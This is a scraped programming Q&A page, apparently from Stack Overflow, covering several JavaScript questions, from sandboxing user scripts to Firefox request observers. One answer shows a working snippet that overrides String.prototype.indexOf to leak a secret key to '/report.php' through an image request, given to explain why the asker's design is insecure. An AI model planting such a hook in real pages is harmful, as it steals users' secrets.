Whitelisting Javascript input - javascript

I need to execute javascript code that is written by users. Of course I must assume the javascript to be malicious. I have a global object in the page which the scripts must interact with, but I don't wan the script to be able to access anything else including the DOM, jQuery, and the window object.
Would it be possible to modify incoming javascript to strip out anything that I have not explicitly white listed?
For example:
function modField(){
if(!f.alpha.enabled){
f.main.enabled = /960/.test(f.productName.text);
f.name = document.getElementById('#username');
}
}
Would become after cleaning:
function modField(){
if(!f.alpha.enabled){
f.main.enabled = /960/.test(f.productName.text);
}
}
How do I do this?

Related

Best (and secure) way to call javascript function (with arguments) using a url from another page

After reviewing dozens of Stack Overflow posts, I'm thoroughly confused. What I am trying to do is create a URL through an tag on one page that would open another webpage and run a function that requires two arguments. I thought this would be simple but I keep seeing references to "cross site scripting vulnerabilities" and I am not familiar with this potential security problem and feel like I am now playing with fire. I do not want to utilize something — even if the code works — if it opens up security risks. Could someone point me in the right direction with the correct (and most secure) way to do this? I can do my research (and learning) from there. Much appreciated.
For example you can append some parameter at the end of your URL
https://your-url/?parameter=hello
When this URL is opened on another webpage you can run JavaScript or a PHP function based on that URL query.
For JavaScript
getUrlParam(slug) {
let url = new URL(window.location);
let params = new URLSearchParams(url.search);
let param = params.get(slug);
if (param) {
return param;
} else {
return false;
}
}
console.log(getUrlParam('parameter'));
After that, you can run this function to check if any parameter is passed in that URL or not.
If this function returns that's given slug parameter you can run your custom code inside that if condition block

Getting parameters from the script depending on the source with javascript

I've search for a long time and i didn't found the answer for my problem.
The thing is i have an addon that can insert JS into any site, and my task is to verify if the script has loaded, retrive it's src and it parameters depending on domein and alert() them.
Example script src looks like this:
<script src="https://example.com/tags?id={FOO}_{BAR}_{VARIOUS_THINGS}_{ID},{ID},{ID}"></script>
I tried to use some snippets form here Verify External Script Is Loaded, especially this one, which i altered a bit with timeout and other stuff:
window.onload = function(){ setTimeout( function(){
var foo = $('script[src*="example.com"]').length;
if (foo === 0)
{
alert('no script here');
}
else {
alert('Yay! script is here!');
}
}, 2500); };
But it only checks if script is there and if foo matches the string that i gave, and i would want to check also what are the parameters, so i tried to alter this $('script[src*="example.com"]') to things that I normally get in {VARIOUS_THINGS} macro, let's say these are "boogie1", "chewingGum" and "PinkFlamingo". They work, for example when I change "example.com" to "PinkFlamingo" it only detects "PinkFlamingo" but not the "boogie1" or other macros. I tried to put * in there so it would take whole example.com* but id doesn't work either.
Basically i don't know how to set the conditions that it would take whole src when given a domain, and retrive and alert some variable in the script src {VARIOUS_THINGS} and return only matching one (not true/false statement).
I also tried getElementByTagName and currentScript but i did not manage to do anything that works...

Click counter without javascript

I'm using this javascript for a click counter in my blogger blog:
function clickCounter() {
if(typeof(Storage) !== "undefined") {
if (sessionStorage.clickcount) {
sessionStorage.clickcount = Number(sessionStorage.clickcount)+1;
} else {
sessionStorage.clickcount = 1;
}
document.getElementById("result").innerHTML = "Correct! " + sessionStorage.clickcount + " Smart answers 'til now.";
} else {
document.getElementById("result").innerHTML = "Sorry, your browser does not support this quiz...";
}
}
<button onclick="clickCounter()" type="button">Suspension</button>
Is there any way to create something similar through a non javascript method?
Can you help me triger an event (extra text message through popup or within the page) every 5, 10, 20, 100 clicks?
Thank you very much
HTML, and the Web in general, was designed to be stateless.
When you pull up a page, it should be like the first time -- and every time -- you pull up the page.
Since then, people have come up with a number of techniques to add state -- to save data, but they all involved one of two methods -- or sometimes both.
Method 1: Store state on the server.
This method uses HTML forms or cookies to slip information to the server when you load and reload a page.
Method 2: Store state in the client
While there are some older versions of Internet Explorer that can be coded in VBA, we are going to ignore that. The only "real" way to run any kind of code on the client, to store any data, is to use JavaScript.
Method 3: Use the client to talk to the server
Using Ajax, you can let your client talk to the server, but without doing a page reload. This still uses JavaScript.
So, to answer your question:
Without a server
Without JavaScript
No, you cannot save or store anything.
I have not tried this but...
What if you put multiple buttons positioned on top of each other. As each one is clicked, it can be made to vanish with something like
a:visited { display: none; }
The ones that need to display a message (5th, 10th, etc.) have different behavior attached.
See on click hide this (button link) pure css

Is it possible for the admin to get the full sourcecode of my js-file if I redirect a Javascript file to a local modified Javascript file?

I created a google-chrome-extension which redirects all requests of a javascript-file on a website to a modified version of this file which is on my harddrive.
It works and I do it simplified like this:
... redirectUrl: chrome.extension.getURL("modified.js") ...
Modified.js is the same javascript file except that I modified a line in the code.
I changed something that looks like
var message = mytext.value;
to var message = aes.encrypt(mytext.value,"mysecretkey");
My question is now is it possible for the admin of this website where I redirect the javascript-file to modify his webpage that he can obtain "mysecretkey". (The admin knows how my extension works and which line is modified but doesn't know the used key)
Thanks in advance
Yes, the "admin" can read the source code of your code.
Your method is very insecure. There are two ways to read "mysecretkey".
Let's start with the non-trivial one: Get a reference to the source. Examples, assume that your aes.encrypt method looks like this:
(function() {
var aes = {encrypt: function(val, key) {
if (key.indexOf('whatever')) {/* ... */}
}};
})();
Then it can be compromised using:
(function(indexOf) {
String.prototype.indexOf = function(term) {
if (term !== 'known') (new Image).src = '/report.php?t=' + term;
return indexOf.apply(this, arguments);
};
})(String.prototype.indexOf);
Many prototype methods result in possible leaking, as well as arguments.callee. If the "admin" wants to break your code, he'll surely be able to achieve this.
The other method is much easier to implement:
var x = new XMLHttpRequest();
x.open('GET', '/possiblymodified.js');
x.onload = function() {
console.log(x.responseText); // Full source code here....
};
x.send();
You could replace the XMLHttpRequest method, but at this point, you're just playing the cat and mouse game. Whenever you think that you've secured your code, the other will find a way to break it (for instance, using the first described method).
Since the admin can control any aspect of the site, they could easily modify aes.encrypt to post the second argument to them and then continue as normal. Therefore your secret key would be immediately revealed.
No. The Web administrator would have no way of seeing what you set it to before it could get sent to the server where he could see it.

Is it possible to know the target DOMWindow for an HTTPRequest?

I'm developing a firefox extension which requires me to intercept page loads by filtering out some HTTPRequests.
I did that using the instructions given here. Please note that my question draws from the content of this link.
I used the method given under the section of HTTPObservers. And it worked, I am indeed able to extract the respective urls of the Requests being sent out.
However, another thing which I really require is to get the target DOM Window where the contents pertaining to the HTTPRequest were about to be loaded. Is it possible using HTTPObservers?
In the link above, another way has been described using WebProgressListeners.
I tried that out as well. The onLocationChange() method only returns location changes in the url bar. Is it somehow possible to get the HTTPRequest urls using any of these progress listeners? Because if so, then if I understand correctly, aWebProgress.DOMWindow would give me the window I require.
Note: I am using gwt for the extension and the JSNI for the above mentioned part.
You can usually do that by using nsILoadContext interface (sadly barely documented) attached to the request or its load group. Here is how you would do that:
function getWindowForRequest(request)
{
if (request instanceof Components.interfaces.nsIRequest)
{
try
{
if (request.notificationCallbacks)
{
return request.notificationCallbacks
.getInterface(Components.interfaces.nsILoadContext)
.associatedWindow;
}
} catch(e) {}
try
{
if (request.loadGroup && request.loadGroup.notificationCallbacks)
{
return request.loadGroup.notificationCallbacks
.getInterface(Components.interfaces.nsILoadContext)
.associatedWindow;
}
} catch(e) {}
}
return null;
}
Note that this function is expected to return null occasionally - not every HTTP request is associated with a window.

Categories

Resources